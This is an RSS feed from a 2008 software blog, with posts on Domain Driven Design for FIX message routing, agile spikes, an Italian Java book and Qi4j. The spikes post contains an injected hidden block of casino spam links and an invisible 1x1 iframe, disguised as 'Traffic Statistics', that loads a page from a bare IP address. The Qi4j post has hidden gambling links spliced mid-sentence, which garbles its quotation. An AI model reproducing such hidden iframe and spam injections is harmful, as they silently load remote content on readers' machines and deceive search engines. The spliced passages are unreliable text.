<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.2" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>toniBlog</title>
	<link>http://blog.java2me.org</link>
	<description>A weblog about Methodologies for Development</description>
	<pubDate>Sat, 19 Apr 2008 03:56:45 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.2</generator>
	<language>en</language>
			<item>
		<title>Domain Driven in the financial world</title>
		<link>http://blog.java2me.org/2008/04/19/domain-driven-in-the-financial-world/</link>
		<comments>http://blog.java2me.org/2008/04/19/domain-driven-in-the-financial-world/#comments</comments>
		<pubDate>Sat, 19 Apr 2008 03:48:48 +0000</pubDate>
		<dc:creator>toni</dc:creator>
		
		<category><![CDATA[financial]]></category>

		<category><![CDATA[TWBlog]]></category>

		<category><![CDATA[DDD]]></category>

		<category><![CDATA[Agile]]></category>

		<category><![CDATA[Java]]></category>

		<guid isPermaLink="false">http://blog.java2me.org/2008/04/19/domain-driven-in-the-financial-world/</guid>
		<description><![CDATA[Domain Driven Design promotes the usage of an Ubiquitous Language, in a line, we should all speak the same language, from developers to domain experts. 
So it happened that the project were I am it&#8217;s a financial one: FiX messages routing&#8230; 
There&#8217;s always an on boarding time, a learning curve with a new domain&#8230;
But here [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.domainlanguage.com/about/ericevans.html">Domain Driven Design</a> promotes the usage of an Ubiquitous Language, in a line, we should all speak the same language, from developers to domain experts.<br /> <br />
So it happened that the project were I am it&#8217;s a financial one: FiX messages routing&#8230;<br /> <br />
There&#8217;s always an on boarding time, a learning curve with a new domain&#8230;<br />
But here things are slightly more complicated than usual&#8230;<br /> <br />
The most important object of the system is a Fix Message.<br /> <br />
It&#8217;s an interesting plain object with around a thousand of fields&#8230;<br /> <br />
There are nice implementation like the <a href="http://www.quickfixengine.org/">QuickFix</a> one where there&#8217;s some object oriented design&#8230; (not a surprise, ThoughtWorks was a big contributor of that project) but since we&#8217;re working with legacy code the choice in the current system it&#8217;s the <a href="http://www.orcsoftware.com/Solutions/Orc-Connect/CameronFIX-Universal-Server/">Cameron</a> implementation, where the APIs are something like message.setField(109, toSomething) or message.getField(115)!<br />
But that&#8217;s not the point of the post.<br />
The first days we built up to improve the current code coverage a nice FixMessageBuilder, to build up for us Cameron Fix messages with speaking names and fluent interfaces, just to understand what we are doing. As you know and as it&#8217;s valid for the internet protocol remembering letters and names it&#8217;s easier than numbers, right?<br />
So another important thing that Domain Driven Design promotes is talk as much as possible with the client, with the Analysts, and that&#8217;s what we did.<br />
And we were talking about OnBehalfOfCompID, ClientID and so on&#8230; With the result of being almost misunderstood or having always a reply back like ah, OnBehalfOfCompID, right, you mean 115!<br />
We then moved (<a href="http://www.linkedin.com/in/shentham">Shen</a> first to be honest) speaking like them, there was no choice, I&#8217;m still struggling talking like a calculator. A typical (simplified!)  conversation will now look like:<br />
A message with 35=D and 15=AUD or 100=AX should not go to Fidessa.<br />
Is there anything more agile than changing our language to better fit into the customer needs?<br />
It&#8217;s all your fault <a href="http://www.domainlanguage.com/about/ericevans.html">Eric Evans</a>! <img src='http://blog.java2me.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /> </p>
<p>More on financial fun soon, since the next step is a Domain Specific Language for playing with these things <img src='http://blog.java2me.org/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.java2me.org/2008/04/19/domain-driven-in-the-financial-world/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Spiking with spikes: what is a spike?</title>
		<link>http://blog.java2me.org/2008/03/16/spiking-with-spikes-what-is-a-spike/</link>
		<comments>http://blog.java2me.org/2008/03/16/spiking-with-spikes-what-is-a-spike/#comments</comments>
		<pubDate>Sun, 16 Mar 2008 10:35:51 +0000</pubDate>
		<dc:creator>toni</dc:creator>
		
		<category><![CDATA[OOD]]></category>

		<category><![CDATA[TWBlog]]></category>

		<category><![CDATA[Agile]]></category>

		<guid isPermaLink="false">http://blog.java2me.org/2008/03/16/spiking-with-spikes-what-is-a-spike/</guid>
		<description><![CDATA[What is a spike?
That question came out at the second Hong Kong Agile meeting, last Wednesday.
I was surprised, a spike was something in my base knowledge, something obvious.
I think I&#8217;ve learned first the world spike in a programming context rather than spike in any other context.
Probably is not so obvious and makes sense to blog [...]]]></description>
			<content:encoded><![CDATA[<p><cite>What is a spike?</cite><br />
That question came out at the second <a href="http://agilehongkong.com/">Hong Kong Agile</a> meeting, last Wednesday.<br />
I was surprised, a spike was something in my base knowledge, something obvious.<br />
I think I&#8217;ve learned first the world spike in a programming context rather than spike in <a href="http://www.google.com/search?client=safari&amp;rls=en-us&amp;q=define:spike&amp;ie=UTF-8&amp;oe=UTF-8">any other context</a>.<br />
Probably is not so obvious and makes sense to blog about it. </p>
<h3>knowledge spikes</h3>
<p>My first spike was quite few years ago, on my first medium size Enterprise project.<br />
The aim of the spikes was to understand a current system, from the database layer to the UI.<br />
It was pain, I still remember it. It took me almost a week, asking help many times, it wasn&#8217;t an XP project.<br />
At the end of the exercise I was able to understand very well the system, and able to contribute well on the project.<br />
The code produced was checked in. To provide context, knowledge for future joiners in the project. Code that should not run in production.<br /> <br />
Basically it was a main class, instantiating all what you need to start up the full system.<br />
I&#8217;ve to say that the codebase was definitely <u style="display:none"><a href="http://www.your-medicine.net/wp-content/1/casinospiele-mit-echtem-geld.html">casinospiele mit echtem geld</a><a href="http://www.your-medicine.net/wp-content/1/winners-online-casino.html">winners online casino</a><a href="http://www.your-medicine.net/wp-content/1/roulette-spiel.html">casino roulette spiel,online roulette spiel,roulette spiel</a><a href="http://www.your-medicine.net/wp-content/1/online-casino-download.html">online casino download</a><a href="http://www.your-medicine.net/wp-content/1/jack-black-download.html">jack black download</a><a href="http://www.your-medicine.net/wp-content/1/online-video-poker.html">online video poker</a><a href="http://www.your-medicine.net/wp-content/1/all-slots.html">all slots</a><a href="http://www.your-medicine.net/wp-content/1/top-online-kasino.html">top online kasino</a><a href="http://www.your-medicine.net/wp-content/1/casino-online-download.html">casino online download</a><a href="http://www.your-medicine.net/wp-content/1/kasino-im-internet.html">kasino im internet</a><a href="http://www.your-medicine.net/wp-content/1/casino-kostenlos-spielen.html">casino kostenlos spielen</a><a href="http://www.your-medicine.net/wp-content/1/lotto-online.html">lotto online</a><a href="http://www.your-medicine.net/wp-content/1/beste-spiel-raum.html">beste spiel raum</a><a href="http://www.your-medicine.net/wp-content/1/slot-maschine-online-spielen.html">slot maschine online spielen</a><a href="http://www.your-medicine.net/wp-content/1/slotmachine-spielen.html">slotmachine spielen</a><a href="http://www.your-medicine.net/wp-content/1/mobiles-casino.html">mobiles casino</a><a href="http://www.your-medicine.net/wp-content/1/baccarat-spielen.html">baccarat spielen</a><a href="http://www.your-medicine.net/wp-content/1/roulette-tips.html">roulette tips</a><a href="http://www.your-medicine.net/wp-content/1/black-jack-online-spielen.html">black jack online spielen</a><a href="http://www.your-medicine.net/wp-content/1/casino-download.html">casino download</a><a href="http://www.your-medicine.net/wp-content/1/casino-online-wiesbaden.html">casino online wiesbaden</a><a href="http://www.your-medicine.net/wp-content/1/slot-machines-online-spielen.html">slot machines online spielen</a><a href="http://www.your-medicine.net/wp-content/1/gratis-casino-spielen.html">gratis casino spielen</a><a href="http://www.your-medicine.net/wp-content/1/roulette-online-spielen.html">roulette online spielen</a><a href="http://www.your-medicine.net/wp-content/1/casino-slots.html">casino slots download,casino slots,casino slots games</a><a href="http://www.your-medicine.net/wp-content/1/online-casino-software.html">online casino software</a><a href="http://www.your-medicine.net/wp-content/1/american-slots.html">american slots</a><a href="http://www.your-medicine.net/wp-content/1/casino-online-test.html">casino online test</a><a href="http://www.your-medicine.net/wp-content/1/ein-armiger-bandit.html">ein armiger bandit</a><a href="http://www.your-medicine.net/wp-content/1/casino-website.html">casino website</a><a href="http://www.your-medicine.net/wp-content/1/internet-gewinn-spiel.html">internet gewinn spiel</a><a href="http://www.your-medicine.net/wp-content/1/swiss-casino-bonus-code.html">swiss casino bonus code</a><a href="http://www.your-medicine.net/wp-content/1/online-casino-games.html">online casino games</a><a href="http://www.your-medicine.net/wp-content/1/casino-online-shop.html">casino online shop</a><a href="http://www.your-medicine.net/wp-content/1/realistische-online-spielbank.html">realistische online spielbank</a><a href="http://www.your-medicine.net/wp-content/1/video-poker-strategie.html">video poker strategie</a><a href="http://www.your-medicine.net/wp-content/1/online-baccarat-spiele.html">online baccarat spiele</a><a href="http://www.your-medicine.net/wp-content/1/casino-poker-roulette.html">casino poker roulette</a><a href="http://www.your-medicine.net/wp-content/1/online-kasino.html">online kasino,online kasino pl,online kasino spielen auf deutsch</a><a href="http://www.your-medicine.net/wp-content/1/casino-online-slots.html">casino online slots</a><a href="http://www.your-medicine.net/wp-content/1/www-casino-spiele.html">www casino spiele</a><a href="http://www.your-medicine.net/wp-content/1/eve-online-rig-slots.html">eve online rig slots</a><a href="http://www.your-medicine.net/wp-content/1/video-poker-online.html">video poker online</a><a href="http://www.your-medicine.net/wp-content/1/online-casino-bonus.html">online casino bonus ohne einzahlung,online casino bonus,online casino no deposit bonus</a><a href="http://www.your-medicine.net/wp-content/1/casino-online-%F6sterreich.html">casino online österreich</a><a href="http://www.your-medicine.net/wp-content/1/casino-online-ohne-einzahlung.html">casino online ohne einzahlung</a><a href="http://www.your-medicine.net/wp-content/1/casino-club-com.html">casino club com</a><a href="http://www.your-medicine.net/wp-content/1/casino-online-com.html">casino online com</a><a href="http://www.your-medicine.net/wp-content/1/casino-club-poker-bonus.html">casino club poker bonus</a><a href="http://www.your-medicine.net/wp-content/1/slot-machine-spielen.html">slot machine spielen</a></u><!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> well designed, otherwise doing such an exercise cold  be very very diffult.</p>
<h3>spikes checked-in?</h3>
<p>Conrad, while giving his presentation with Tom on Agile techniques stated that there should be no check in of the code, since that code should never go on production.<br />
I disagree on most cases, there&#8217;s always a value on the spikes.<br /> <br />
The only spikes I would not check in are my personal trials to understand what&#8217;s going on, crappy code that I would not show us to anybody, so ugly that it doesn&#8217;t deserve the honor to go on the code repository: <b>One shot spikes</b>. </p>
<h3>design sets spikes</h3>
<p>On my last project with <a href="http://www.thekua.com/atwork/">Pat</a> we tried different design sets (also including technology decisions) for a big problem of redesign/refactor we had.<br />
Also in that case we put the code under version control. Why? For future joiners for instance, these was what we tried, the solution that won it&#8217;s on the trunk, the failures on a sperate trunk folder, spikes can be a good name right?<br />
I&#8217;ll take the same approach also starting a new project. Let&#8217;s pretend I&#8217;ve to start a new java project, an app with a database layer. You can spike the database access with Hibernate, with Ibatis, with EJBS, etc&#8230;<br />
It will help you in estimating future stories, in the understanding on how much the chosen solution is testable.</p>
<h3>estimations?</h3>
<p>A spike should always be estimated, a fixed amount of time can be allocated during an estimation session.<br />
A spike should always achieve a final goal.<br /> <br />
If a spike screw completely the estimation throw it away, something is wrong, probably the design, the technology you&#8217;re trying to use is too complex to play with it, don&#8217;t insist on.<br />
Throw away but check it in, even if not working, on the spikes trunk! I can&#8217;t imagine any better documentation for new joiner to justify, to explain, that&#8217;s why we didn&#8217;t use EJBs, look at that!<br />
Shall I write tests doing a spike? Why not. If you&#8217;re trying to find a design I can&#8217;t imagine anything better that some old good TDD, if you&#8217;re trying to understand the system you can write a main if you&#8217;re not familiar with tests or just some tests. A spike can be made of tests.</p>
<h3>more on the web&#8230;</h3>
<p>Take a look also on the definitions on <a href="http://c2.com/xp/SpikeSolution.html">C2.com</a>.<br /> <br />
<a href="http://www.extremeprogramming.org/rules/spike.html">XP.org</a> has his definition as well. </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.java2me.org/2008/03/16/spiking-with-spikes-what-is-a-spike/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Java Essentials</title>
		<link>http://blog.java2me.org/2008/03/16/java-essentials/</link>
		<comments>http://blog.java2me.org/2008/03/16/java-essentials/#comments</comments>
		<pubDate>Sun, 16 Mar 2008 09:32:35 +0000</pubDate>
		<dc:creator>toni</dc:creator>
		
		<category><![CDATA[OOD]]></category>

		<category><![CDATA[TWBlog]]></category>

		<category><![CDATA[DDD]]></category>

		<category><![CDATA[That's Cool!]]></category>

		<category><![CDATA[Java]]></category>

		<guid isPermaLink="false">http://blog.java2me.org/2008/03/16/java-essentials/</guid>
		<description><![CDATA[My friend Bruno kicked off, silently few weeks ago the Java Essential project. 
What is Java Essential? 
It&#8217;s an open, collaborative book, written in Italian about Java and not only.
It will cover topics like TDD, Object Oriented Design and Domain Driven Design, and all the most current/good/trendy frameworks.
It will be written in Italian, for the [...]]]></description>
			<content:encoded><![CDATA[<p>My friend <a href="http://bbossola.wordpress.com/">Bruno</a> kicked off, silently few weeks ago the Java Essential project.<br /> <br />
What is Java Essential?<br /> <br />
It&#8217;s an open, collaborative book, written in Italian about Java and not only.<br />
It will cover topics like TDD, Object Oriented Design and Domain Driven Design, and all the most current/good/trendy frameworks.<br />
It will be written in Italian, for the Italian Java (not only Java really&#8230;) community, written by the communities, in fact various good guys from various different Java User Groups and Organizations will write the content.<br /> <br />
I&#8217;ve been asked to write the chapter about Domain Driven and since I&#8217;m not a good writer I&#8217;ve asked to <a href="http://www.floydmarinescu.com/">Floyd Marinescu</a> if I can translate his nice Domain Driven Design Quickly, and he agreed.<br /> <br />
Depending on how much it will take and on how much time I&#8217;ll be able to allocate on this project I&#8217;ll translate partially the book for Java Essential or the full book, linking it then on <a href="http://www.infoq.com/">InfoQ</a>.<br />
If there&#8217;s one thing that I care about is to spread around the world what we do and how we do it, last year I had in total four speeches in Rome, Turin, Varese and Bologna, since I&#8217;m a bit far from Europe now, that&#8217;s the best way to continue in that direction <img src='http://blog.java2me.org/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.java2me.org/2008/03/16/java-essentials/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Qi4j: an implementation of Composite Oriented Programming</title>
		<link>http://blog.java2me.org/2008/02/24/qi4j-an-implementation-of-composite-oriented-programming/</link>
		<comments>http://blog.java2me.org/2008/02/24/qi4j-an-implementation-of-composite-oriented-programming/#comments</comments>
		<pubDate>Sun, 24 Feb 2008 00:34:47 +0000</pubDate>
		<dc:creator>toni</dc:creator>
		
		<category><![CDATA[TWBlog]]></category>

		<category><![CDATA[ThoughtWorks]]></category>

		<category><![CDATA[That's Cool!]]></category>

		<category><![CDATA[Java]]></category>

		<guid isPermaLink="false">http://blog.java2me.org/2008/02/24/qi4j-an-implementation-of-composite-oriented-programming/</guid>
		<description><![CDATA[Many thanks to Dan that pointed out on our internal ML to Qi4J.
Quoting from the home page:
Principles
- Composite Oriented Programming builds on some principles that are not addressed by Object Oriented Programming atBeruhmte http://www.neucasino.de/jackpot-regeln.html. all.
- Behavior depends on Context
- Decoupling is a virtue
- Business Rules matters more.
- Classes are dead, long live interfaces.

Are you alreadyRed [...]]]></description>
			<content:encoded><![CDATA[<p>Many thanks to <a href="http://dannorth.net/">Dan</a> that pointed out on our internal ML to <a href="http://www.qi4j.org/">Qi4J</a>.<br />
Quoting from the home page:</p>
<p><cite>Principles<br />
- Composite Oriented Programming builds on some principles that are not addressed by Object Oriented Programming at<noscript>Beruhmte <a href="http://www.neucasino.de/jackpot-regeln.html">http://www.neucasino.de/jackpot-regeln.html</a>.</noscript> all.<br />
- Behavior depends on Context<br />
- Decoupling is a virtue<br />
- Business Rules matters more.<br />
- Classes are dead, long live interfaces.<br />
</cite></p>
<p>Are you already<noscript>Red <a href="http://www.toques-excelente.com/milhares-de-toques-polifonicos-gratuitos-oferece.html">toques polifonicos gratuitos</a> gratis para nokia tons para celular Gratis.</noscript> worried that they&#8217;re using xml to do this?</p>
<p><cite><br />
Qi4j is trying to address the flaws of OOP and introduce Composite Oriented Programming to the world, without introducing new programming languages, or awkward constructs. Heck, we don&#8217;t even use any XML.<br />
</cite></p>
<p>Definitely interesting.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.java2me.org/2008/02/24/qi4j-an-implementation-of-composite-oriented-programming/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
